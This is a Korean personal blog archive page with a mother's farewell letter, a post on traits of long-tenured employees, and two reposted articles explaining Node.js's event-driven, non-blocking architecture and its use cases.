아녀자들이 알곡의 티끌을 고를 때 키를 높이 들고 바람에 까분다. 뉘를 고를 때는 채를 가까이 끌어당겨 흔든다. 티끌은 가벼우니 멀리 날려 보내려고 그러는 것이고, 뉘는 자세히 보아야 하니 그런 것이다. 사는 이치가 이와 다르지 않더구나. 부질없고 쓸모없는 것들은 담아두지 말고 바람 부는 언덕배기에 올라 날려 보내라. 소중하게 여기는 것이라면 지극히 살피고 몸을 가까이 기울이면 된다. 어려울 일이 없다. 나는 네가 남보란 듯이 잘 살기를 바라지 않는다. 억척 떨며 살기를 바라지 않는다. 괴롭지 않게, 마음 가는대로 순순하고 수월하게 살기를 바란다.

혼곤하고 희미하구나. 자주 눈비가 다녀갔지만 맑게 갠 날, 사이사이 살구꽃이 피고 수수가 여물고 단풍물이 들어서 좋았다. 그런대로 괜찮았다. 그러니 내 삶을 가여워하지도 애달파하지도 마라. 부질없이 길게 말했다. 살아서 한 번도 해본 적 없는 말을 여기에 남긴다. 나는 너를 사랑으로 낳아서 사랑으로 키웠다.
내 자식으로 와주어서 고맙고 염치없었다.
너는 정성껏 살아라.

 Posted by at 7:12 PM

정년까지 롱런하는 인재들의 특징 5가지

 교육, 스크랩  Comments Off on 정년까지 롱런하는 인재들의 특징 5가지
Mar 282015
 

정년까지 롱런하는 인재들의 특징 5가지

 

1. 나이로 대접받기보다 조직에 도움이 되는 사람

“시간이 지나도 회사에서 필요로 하는 사람이 되어야겠다는 생각을 했다. 나이 많다고 대접받으려고 하기보다 내가 젊은 친구들에게 어떤 도움을 줄 수 있을지를 고민했다.” 

현역으로 롱런하는 사람들의 첫 번째 특징은 나이로 권위를 세우지 않는 사람이다. 나이에 신경쓰기보다는 회사에 필요한 사람이 되어야 한다는 생각에 초점을 두고 회사와 동료 후배들에게 무엇으로 기여할 수 있는지를 생각한다. 연기자 이순재씨는 ‘나이 먹었다고 주저 앉아서 어른 행세하고 대우받으려 하면 늙어버리는 것이다’라고 말하며 나이의 권위를 세우기 보다 주어진 배역과 작품에 몰입하는 것으로 유명하다. 웃기는 연기도 마다하지 않으며 꽃할배에서는 어느 누구보다 책임감 있는 모습을 보여준다. 그의 나이 여든이다.

2. 일에 대한 나만의 철학이 있는 사람

“회사일 하느라 정신없이 살기보다는 자기 철학을 세우는 것이 필요하다. 왜 일을 하는지, 무엇이 재미있는지, 어떤 보람을 느끼는지, 그리고 나의 앞날은 어땠으면 좋겠는지에 대해서 젊었을 때부터 생각했으면 좋겠다.”

회사에서 올인하다가 막상 팀장이나 임원 승진이 안될 때 모든 걸 바친 나를 조직이 몰라주는가 하는 생각에 불만이나 분노 또는 열등감 등의 부정적 감정을 느끼기 쉽다. 그러나 롱런하는 인재들은 자신 만의 철학으로 외적 상황에 일희일비하지 않고 어떤 상황에서나 내적 만족을 얻을 수 있도록 노력한다. 피터 드러커는 ‘내가 어떤 사람으로 기억되기 바라는지 질문을 하면서 세상의 변화에 발을 맞추고, 다른 사람의 삶에 변화를 일으킬 수 있어야 한다’고 조언한 바가 있다. 삶과 일로서의 자신의 진정한 목적의식이 있을 때 더 견고히 섰을 수 있다는 말이다. ‘일하며 얻는 10가지 행복’의 저자 다사카 히로시는 일에 대한 철악은 현실에 떠내려가지 않기 위한 닻이라고 했다.

3. 나만의 경쟁력을 위해 롱런(Long-Learn)하는 사람

“이만큼 인정 받을 수 있기까지 지속적으로 공부를 했다. 나보다 똑똑한 사람들은 많지만 내가 고민했던 문제를 나만큼 깊게 생각한 사람은 많지 않다고 생각한다.”

정년까지 롱런하는 사람들은 끊임없이 공부하고 노력한다. 과거에 아무리 훌륭한 성과를 냈다 하더라도 이제는 현실의 실력으로 평가를 받는다. 혹시 머리가 굳어서 공부가 안된다고 생각하는가? 2006년 미국 타임지는 ‘인간의 지식 업무 능력은’ 60세까지 발전한다고 했다. 하지만 이것도 틀렸다. 특별한 지병이 없는 이상 죽을 때까지 뇌는 성장한다. 다음 글을 읽으면 더 도움이 될 것이다.

머리가 아니라 생각이 굳은 것이다
머리가 아니라 생각이 굳은 것이다 우리의 뇌는 천재적이다. 그 이유는 많은 것을 간직하고 있기 때문이 아니…
blog.naver.com

본문으로 이동

4. 새로움에 지적 호기심이 있는 사람

“지금 이 나이에도 ‘앞으로 내가 공부하고 싶은 것은?’이라는 생각을 계속 한다. ‘왜 저렇게 될까?’에 대해 궁금해하고 지금부터 10년, 20년간 공부하고 싶은 분야의 책을 읽고 있다.”

정년까지 롱런하는 사람들은 단순히 열심히 공부하는 것이 아닌 언제나 새로운 변화에 새로움에 대한 직적 호기심을 가진다. 경륜이 쌓이고 익숙해지다보면 새로운 시도나 아이디어에 대해 ‘다 해봤어’, ‘몰라서 하는 소리야’, ‘이렇게 해야지’라는 말로 자신의 지식의 범주의 틀 안에서만 사고하려고 한다면 결국 도태되게 될 것이다. 변화를 받아들이고 그 변화속에 피어나는 새로움에 대해 언제나 호기심을 갖고 지식을 늘려나가며 자신을 결국 변화시킬 수 있을 때 나이를 무색하게 하는 창의적인 사람이 될 수 있다.

5. 자기성찰과 감사하는 마음이 있는 사람

“모든 것에 감사하고 행복해 했으면 좋겠다. 아프지 않고 건강하게 일할 수 있는 것도 행복 아닌가. 임원이 안되어서 힘든 것? 글쎄 임원들은 일이 바빠 고질적 문제를 깊이 생각하지 못한다. 대신 나는 그런 문제를 나의 이론과 경험을 기반으로 고민할 수 있다. 더 재미있는 일 아닌가?”

롱런하는 인재들은 무엇보다 자기성찰이 되어 있다. 즉 자기 자신에 대한 이해가 높다. 그래서 자신의 한계를 인정할 줄 알며 덩달아 다른 사람의 강점을 제대로 칭찬하고 그 강점들을 조직내에서 활용할 줄 안다. 또한 감사한 마음을 갖고 있다. 임원이 될 나이에 임원이 되지 못했을 때조차 아쉬움이나 스트레스에 매몰되기보다 자신의 위치만이 줄 수 있는 유익들에 대해서 감사한다. 결국 자기성찰과 감사하는 마음이 있는 사람은 다른 사람을 배려할 줄 알고 시너지를 낼 수 있는 강한 원동력을 갖게 되는 것이다.

 

발달 심리학자 에릭 에릭슨은 중년을 ‘생산성 vs 침체성’의 시기라고 말한다. 성숙한 사람은 자신 뿐만 아니라 타인과 조직을 위해 생산성을 창출하지만 미성숙한 사람은 관심이 자기자신에게만 국한되고 결국 침체에 빠지게 된다. 결국 침체에 빠지느냐 아니면 생산성을 내 정년까지 롱런하느냐는 개인 자신의 노력에 따라 충분히 달라질 수 있다는 사실을 알아야 한다.

 Posted by at 9:40 AM

Node.js 내가 쓰기로 선택한 이유

 IT  Comments Off on Node.js 내가 쓰기로 선택한 이유
Jan 152015
 

퍼온 글

https://vinebrancho.wordpress.com/2014/03/24/node-js-%EB%82%B4%EA%B0%80-%EC%93%B0%EA%B8%B0%EB%A1%9C-%EC%84%A0%ED%83%9D%ED%95%9C-%EC%9D%B4%EC%9C%A0/

 

개인 프로젝트에서 RESTful API를 구현하기 위해서 어떤 서버사이드 플랫폼을 사용할까 고민하다가 node.js 를 선택했다. 2000년초반, PC 웹이 한창 성장하고 있을 때만 해도 서버사이드 플랫폼으로는 asp, jsp, php 정도였던 걸로 기억한다. 그 때 취미삼아 웹사이트를 만들어본 경험이 있는데 고민했던 게 위 3가지 정도였다^^; 그러나 지금은 선택할 수 있는 서버 사이드 플랫폼이 상당히 많아졌다. 언어별로 대표적인 플랫폼을 나열해보았다.

  • Javascript : node.js
  • Ruby : Ruby on Rails (+ EventMachine for event loop)
  • Pyhon : Django (+ Twisted for event loop), Pyramid, Bottle, Nimble
  • Java : Play, Spring, Vert.x
  • PHP : cakePHP, Code igniter
  • Scala : Play
  • Erlang : inets, misultin

서버사이드 개발자들에겐 익숙한 것들이겠지만, 이번에 서버사이드 플랫폼을 들여다보기 시작한 나에게는 대부분이 낯설었다. 위의 모든 플랫폼에 경험이 있다면 각각 장, 단점을 기반으로 내 서비스에 적합한 것을 쏙 하나 집어 낼텐데, 나는 그렇지 못하기 때문에 내 나름의 기준에 맞는 플랫폼을 몇개 추려내고 그 중 하나를 선택하기로 했다.

내가 선택하는 서버사이드 플랫폼은 다음을 만족해야 했다.

  • 시간이 많지 않기 때문에 당장 쓸수 있는 언어 기반이어야 한다.
  • 소셜 서비스 성격상 수많은 사용자의 동시 접속과 요청을 빠르게 처리할 수 있어야 한다.
  • 이를 위해 제약된 하드웨어 인프라에서 확장성이 좋아야 한다.
  • 개발 시간을 단축하기 위해서 유틸리티 성격의 확장 모듈들도 많아야 한다.
  • 문서화 및 개발자 커뮤니티가 활성화되어 있어야 한다.

이렇게 기준을 정하고 나니 node.js와 django 두개로 압축할 수 있었다. 대부분은 1번 기준으로 제외되었다 -_-;; 그리고 twitter나 github가 Ruby on Rails(RoR)를 사용하고 있어서 한번 써보고 싶기는 했으나 Ruby 언어를 익혀야 하니 일단은 제외시켰다. 자, 그럼 node.js와 django 중 어떤 걸 할까. 2009년에 개발자 Ryan Dahl에 의해 공개된 후 실리콘밸리 개발자들을 열광하게 만들면서 급성장하게 된 node.js. Yahoo, VMWare, Microsoft, LinkedIn 같은 쟁쟁한 회사들이 쓰고 있는 node.js. 현재 5만개가 넘는 모듈을 갖고 있는 node.js. 직접 경험해보고 싶었다. 얼마나 좋길래. 그래서node.js를 개인 프로젝트의 서버사이드 플랫폼으로 쓰기로 결정했다.

지금부터는 node.js의 기술적인 특징에 대해 몇가지 나누고자 한다. 먼저 node.js는 공식사이트에서 다음과 같이 소개되고 있다.

Node.js is a platform built on Chrome’s JavaScript runtime for easily building fast, scalable network applications. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient, perfect for data-intensive real-time applications that run across distributed devices.

– nodejs.org

이 문장 안에 사실 node.js에 대한 주요 특징들이 다 포함되어 있는 거 같다. node.js는 javascript 코드를 실행시키고, event driven 및 non-blocking I/O 모델을 사용한다. 그 결과 확장성 있고 데이터 중심의 실시간 네트워크 어플리케이션 개발을 가능하게 해준다라고 한다. 추상적으로 이해될수도 있는 부분인데 특징을 하나씩 살펴 좀 구체적으로 이해를 해보자.

Javascript 언어 실행

node.js를 만든 Ryan Dahl은 개발 언어로 javascript를 선택했다. 히스토리를 보면 C, Rua를 고려하다가 몇개월 뒤에 javascript가 적합하다고 판단하였다고 한다[1]. 아마도 javascript 언어가 가진 특징 때문이지 않을까 싶다. javascript 는 언어 자체적으로 event driven 모델을 이미 지원한다[2]. 이 때문에 클라이언트 사이드인 웹페이지에서 버튼을 하나 클릭하면 바로 화면에 어떤 작업이 수행된다. 서버 사이드로 예를 들면 http 요청이 한개 들어오면 바로 연결을 맺으면서 어떤 작업을 수행시키게 될 것이다. 잠시 뒤에서 좀 더 다루겠다. 또한 javascript는 내부 함수로써 외부 함수의 변수에 접근할 수 있는 closures란 기능을 지원한다[3]. 콜백함수를 파라미터로 지정하는 event driven 모델에서 매우 유용한 기능이다. 보통 함수는 자신의 scope에 지정된 변수만 접근 가능하기 때문에 콜백 함수로 사용된 어떤 함수가 외부의 변수에 접근하려면 콜백 함수를 호출하는 쪽에서 반드시 사용할 해당 변수를 지정해줘야 한다. closure 덕분에 javascript 코딩시 이런 것을 신경쓰지 않아도 된다.

node.js는 CommonJS 라는 스펙을 따르고 있다[4]. CommonJS는 특정 코드가 아니라, 웹브라우저 외 서버사이드나 독립적인 애플리케이션으로 사용하기 위해 필요한 기능을 정의한 스펙이다.node.js 로 개발하다 보면, module, exports 그리고 require 같이 브라우저용 자바스크립트 언어에는 없는 지시어들을 보게 될 텐데 그러한 것들은 CommonJS 인한 것으로 보면 된다.

node.js 이전에도 helma, appjet, jaxer 등 javascript 기반 서버사이드 플랫폼이 있었으나 활성화가 되지 못했다. 이유가 궁금하여 구글링을 해보니 node.js 가 성공한 이유는 javascript 언어에 대한 인식 변화, javascript engine의 성능 향상 그리고 Blocking I/O을 제거했기 때문이라는 분석글을 봤다[5]. 반대로 이전에 서버사이드 플랫폼들은 이 세가지를 갖고 있지 못했기 때문에 활성화가 되지 않았다는 건데 설득력이 있다. 첫째, 웹이 성장하면서 javascript 언어의 가치도 함께 올라갔고 그만큼 개발자들도 늘어났다. 이제 더이상 javascript 언어를 부정적으로 보거나 사라질 언어로 보질 않는다.둘째, 구글이 javascript 코드를 동적으로 컴파일하여 기계어로 바꾸는 V8 엔진을 개발하면서 javascript 실행 성능이 크게 좋아졌다. 그리고 V8이 컴파일된 기계어 코드를 캐슁(caching)하기 때문, 동일한 로직을 많이 수행할 수 밖에 없는 서버사이드에서는 더욱 효과적일 것이다.셋째, Ryan dahl이 unix/linux의 시스템 레벨에서 blocking I/O 처리되던 라이브러리들을 node.js에서 사용될 때 non-blocking I/O로 동작하도록 바꾸면서 서버 확장성의 문제를 해결한 것이다. non-blocking I/O에 대해서는 잠시 뒤에서 다루겠다.  아무튼 이 3박자가 잘 들어맞아 현재의 node.js 가 많은 개발자와 회사들로부터 사랑을 받는게 아닌가 싶다.

Single thread event-driven 그리고 Non-blocking I/O 모델

event driven은 event 기반, 즉 특정 사건이 발생할 때 작업이 수행되는것을 의미한다. UI를 가지면서 유저와 상호작용해야 하는 프로그램에선 유저가 언제 터치 같은 입력(즉, event)을 줄지 모르기 때문에 event driven 모델 사용이 일반적이다. javascript 언어가 event-driven 모델기반이기 때문에,node.js 는 javascript를 채택함으로써 개발자들이 서버사이드의 모든 작업을 event-driven 모델로 개발하도록 한다.실제로 node.js 가 기본으로 제공하는 javascript API 원형들을 보면 파라미터로써 callback을 입력하도록 요구하고 있다[6].

전통적인 서버사이드 개발 모델은 적절한 표현일지 모르겠지만 thread driven 모델이었다. 즉,  서버에 요청이 들어오면 서버는 이를 처리하기 위해 매번 별도의 thread를 생성했었다. apache같은 웹서버가 이런 모델인데, 이유는 POSIX 기반 함수들이 blocking I/O 방식으로 file을 엑세스한다라는 사실에서 찾을 수 있다. blocking I/O 방식은 filesystem, database 리소스 접근시 결과가 리턴될 때까지 코드 수행을 멈추고 다른 작업이 수행되지 못하게 하기 때문에, 하나의 thread로는 추가적으로 들어오는 클라이언트 요청을 처리할 수 없다. thread driven 모델은 클라이언트 별 thread로 인해 메모리 사용량이 증가하는 문제와 컨텍스트 스위칭 비용이 발생하는 문제가 있고 이는 클라이언트 수가 증가할수록 각각 확장성과 반응성을 떨어뜨리게 한다. Ryan Dahl이 2009년 JSConf에서 apache vs. nginex(event driven모델 서버중 하나) 성능 벤치마크 자료를 통해 수많은 클라이언트가 동시 요청시 event driven 모델이 초당 더 많은 요청을 받을 수 있고 메모리를 훨씬 덜 사용한다고 소개하기도 했다[7]. thread driven 모델에서 확장성과 반응성을 올리려면 서버 하드웨어 스펙을 올리던지 여러대의 서버를 운영하여 적절히 로드밸런싱이 되도록 해야 한다. 물론 그에 따른 경제적 비용이 만만치 않겠지만 말이다.

node.js는 event loop과 non-blocking I/O를 통해 전통적인 서버 사이드 모델에서의 이러한 문제들을 해결한다. node.js 서버(하나의 프로세스)는 한개의 event-loop thread(보통 main thread)로 동작한다. v8과 그 위에서 동작하는 서버사이드 javascript 코드는 모두 event loop thread에서 동작한다. 그리고 이 thread가 모든 클라이언트 요청을 받고 처리한다. node.js는 javascript 언어에서 기본적으로 제공되지 않는 filesystem, network (tcp/udp, http/https)등 시스템 리소스에 서버사이드 개발자가 접근하도록 하기 위해서 v8의 interface[8]에 맞게 c++로 구현(<node.js>/src/*.cc javascript로 바인딩하여 콜백 파라미터를 가진 javascript API set을 제공(<node.js>/lib/*.js다[9]. blocking I/O 작업을 해야하는 리소스에 대해서는 thread pool을 이용해 node.js가 event loop thread가 아닌 별도의 thread에 그 일을 위임한다. blocking I/O 작업을 하는 thread의 작업이 끝나면, event loop thread가 이를 인지하고 v8을 통해 해당 리소스에 매핑되어 있는 javascript 콜백을 바로 호출한다. 즉, event loop thread에서 수행되는 javascript 컨텍스트에선 시스템 리소스 접근이 non-blocking I/O 처럼 동작하는 것이다. 아래 그림은 이런 flow를 잘 설명해주고 있다.

<source : https://www.udemy.com/blog/learn-node-js/>

기본적으로 node.js는 단일 event loop을 가진 thread로 동작하기 때문에 클라이언트 요청 증가에 대해 thread driven 모델보다는 좀 더 좋은 확장성(scalability)을 보인다. 그리고 별도의 thread에서 blocking I/O 작업이 처리되는 동안 event loop thread에선 다른 작업을 수행할 수 있으므로 동시에 발생하는 클라이언트 요청에 대해 좋은 반응성(responsiblity)을 보여줄 수 있다. 하지만 thread driven 대비 동시접속에 대한 요청당 처리시간이 빠르다고는 하지만 동시접속수가 많아질수록 반응성은 떨어질 수 밖에 없기 때문에 node.js 서버를 사용하더라도 여러개의 node.js를 띄워서 로드밸런싱을 해줘야 하지 않을까 싶다[10].

node.js를 들여다볼수록 node.js의 핵심은 blocking I/O로 동작하던 filesystem, network 기능들을 non-blocking I/O로 동작하도록 바꾼 것이란 생각이 든다. node.js는 javascript와 low level system 사이의 glue 역할을 하고 있는데 non-blocking I/O가 없었다면 지금의 node.js도 없지 않았을까. 시간이 될때 이부분을 소스레벨에서 hacking 해봐야겠다 ^^

node.js로 추천하지 않는 usecase

node.js는 한개의 event loop thread로 서버로의 모든 요청을 처리하기 때문에, 특정 요청을 처리하는 javascript 콜백에서 연산등의 cpu intensive한 작업을 오랫동안 한다면 그 시간만큼 다른 요청들은 대기할 수밖에 없다. 물론 cluster 모듈을 이용해서 멀티코어에서 코어 갯수만큼 동일한 node.js프로세스를 띄워서 다른 코어 위에 동작하는 node.js 프로세스로 요청을 분산되도록 할 수 있으나, 같은 tcp port 로 들어오는 클라이언트 요청을 여러 코어로 분산되도록 하는건 node.js 가 아닌 커널레벨의 정책에 따른 것이라 어떻게 동작할지 예측하기가 어려울 것 같다. (node.js의 현재 공식 stable version 0.10.26 까지는 커널이 몇몇 특정 worker 프로세스로만 요청을 보내는 문제가 발생하여, 0.11 버전 때부터 로드밸런스를 커널에게 맡기지 않고 node.js가 직접하기 위해서 cluster master 프로세스가 직접 모든 요청을 받고 자기가 생성한 worker 프로세스들에게 round robin (디폴트 정책)으로 분산을 해주는 패치가 적용됐다[11][12]. stable version 0.12부터 해당 내용이 적용될 것이다.). 더군다가 클라이언트 요청이 몇 천, 몇만 건으로 들어오면 이런 류의 cpu-intensive 한 서비스는 제대로 처리해주기 어려우므로 node.js에 적합하지 않다. 그러나 굳이 꼭 node.js를 써야 한다면.. cpu intensive 작업을 c++ native 모듈을 만들되 node.js의 non-blocking 인터페이스 (uv_*함수들)나 v8의 멀티쓰레딩 인터페이스를 활용하여 v8에 binding한다면 별도의 쓰레드로 cpu intensive한 작업을 수행시키는 것이므로 괜찮지 않을까 싶다. node.js로 흔히 사용되는 usecase는 CRUD 작업을 주로 하는 RESTful 서비스나 notification push 같은 real time web application에 유용하다고 한다. realtime 지원은 node.js의 socket.io 모듈을 이용하면 쉽게 구현이 가능하다. 다음은 node.js의 usecase 관련 글이다.

http://nodeguide.com/convincing_the_boss.html

http://www.toptal.com/nodejs/why-the-hell-would-i-use-node-js

node.js에서 많이 사용되는 주요 모듈

node.js 서버 개발을 시작한지 며칠되지 않아서 다양한 모듈을 사용해보질 못했다. 하지만 현재 express 모듈로 RESTful API처리하는 부분을 코딩해보니 헉,, 그 편리함에 놀라고 있다. 모듈 개발자들에게 고마운 마음이;; ㅎㅎ. 계속 개발을 하다보면, 내 삶을 더욱 편하게 만들어줄 여러 모듈들이 있을거라 생각하는데 혹시나 없다면 직접 만들어서 npm 모듈로도 공개해봐야겠다. 참고로 현재 공개된 npm 모듈은 5만개이상이다.

https://www.npmjs.org

https://nodejsmodules.org/tags/build

http://www.queness.com/post/16219/29-nodejs-frameworks-for-fast-javascript-development

 

node.js 튜토리얼

node.js의 API는 공식사이트의 documentation에 잘 정리되어 있다. 그 외 아주 기본적인 내용들은 아래 사이트를 참고하면 될 것 같다.

http://www.nodebeginner.org/index-kr.html

http://howtonode.org/

http://pismute.github.io/nodeguide.com/beginner.html

http://nodeschool.io/

node.js 적용 사례에 대한 글

http://nodejs.org/industry/

https://github.com/joyent/node/wiki/Projects,-Applications,-and-Companies-Using-Node

http://readme.skplanet.com/wp-content/uploads/Tech_Planet_2013_baek.pdf

https://queue.acm.org/detail.cfm?id=2567673

http://venturebeat.com/2011/08/16/linkedin-node/

마치며…

단말용 tizen의 C++기반 web runtime을 개발하면서 주로 테스트 용도로만 javascript 언어를 사용했었다. 그 덕분에 node.js 로 javascript 코딩을 하는데 언어적인 거부감이나 어려움은 없다. 그리고 초반부에 서버사이드 플랫폼을 선정하는 내 나름의 기준들을 node.js 가 잘 만족시켜주는 것 같다. 에효 드디어 정했다. (ps. 혹시나 제가 쓴 글 중에 잘못된 부분이 있다면 주저말고 지적해주세요.)

< References >

[1] http://www.theregister.co.uk/2011/03/01/the_rise_and_rise_of_node_dot_js/?page=3
[2] http://www.launchacademy.com/codecabulary/learn-javascript/event-driven-asynchronous-callbacks
[3] http://javascriptissexy.com/understand-javascript-closures-with-ease/
[4] http://en.wikipedia.org/wiki/CommonJS
[5] http://programming.oreilly.com/2011/06/node-javascript-success.html
[6] http://nodejs.org/api/addons.html
[7] http://www.scribd.com/doc/23801896/Node-js-JSConf-2009
[8] https://developers.google.com/v8/embed
[9] http://nodejs.org/api/
[10] http://zgadzaj.com/benchmarking-nodejs-basic-performance-tests-against-apache-php
[11] http://strongloop.com/strongblog/whats-new-in-node-js-v0-12-cluster-round-robin-load-balancing/
[12] https://github.com/joyent/node/commit/e72cd41?__utma=108008000.708719925.1395624487.1395790930.1395792961.3&__utmb=108008000.2.10.1395792961&__utmc=108008000&__utmx=-&__utmz=108008000.1395792961.3.3.utmcsr=google%7Cutmccn=(organic)%7Cutmcmd=organic%7Cutmctr=(not%20provided)&__utmv=-&__utmk=101010433

 

 Posted by at 10:22 PM

node.js 에 대해 잘 소개한 자료

 IT  Comments Off on node.js 에 대해 잘 소개한 자료
Jan 032015
 

node.js 에 대해 잘 소개한 자료
http://pyrasis.com/nodejs/nodejs-HOWTO

 

2009년 라이언 달이라는 프로그래머가 구글의 V8 자바스크립트 엔진을 웹 브라우저가 아닌 서버로 사용할 수 있도록 만든 것이 Node.js입니다. 즉, 우리가 흔히 봐왔던 PHP, ASP.NET, JSP 등의 서버 사이드 플랫폼과 같습니다.

자바스크립트의 간결함과 V8 자바스크립트 엔진의 월등한 속도 그리고 단일 스레드 Non-bloking I/O로 빠른 성능을 내면서 전 세계적으로 큰 인기를 끌게 되었습니다.

기존에는 소켓으로 서버 프로그래밍을 하려면 유닉스/리눅스의 socket(select, poll, epoll)이나 윈도우에서 IOCP를 이용해서 C++로 만들어야 했습니다. C++로 만들면 처리 속도는 빠르지만 코드가 길어지고 디버깅도 힘들어서 일부 서버 프로그래머들만의 영역이었습니다.

Node.js가 나오면서 소켓 서버 프로그래밍에 대한 장벽이 무너졌습니다. 누구든지 자바스크립트로 패킷을 주고 받을 수 있고, 서버를 간단하게 구현할 수 있게 된 것입니다. C++ 소켓 프로그래밍에 비해 정말 간단해졌습니다.

단언컨대, Node.js는 가장 생산성이 좋은 플랫폼입니다.

일반적인 소켓 통신 뿐만 아니라 Node.js 자체를 HTTP 웹 서버로 실행할 수 있고, WebSocket(socket.io) 등의 HTTP 기반 실시간 프로토콜도 손쉽게 사용할 수 있습니다. 실시간 통신을 자바스크립트 단 몇줄로 구현할 수 있게 된 것이죠.

결과적으로 Node.js는 자바스크립트를 웹 브라우저 속에서만 사용되던 언어에서 범용 스크립트 언어로 탈바꿈 시켰습니다. Python이나 Perl, Ruby와 같은 레벨이 된 것입니다.

 Posted by at 4:24 PM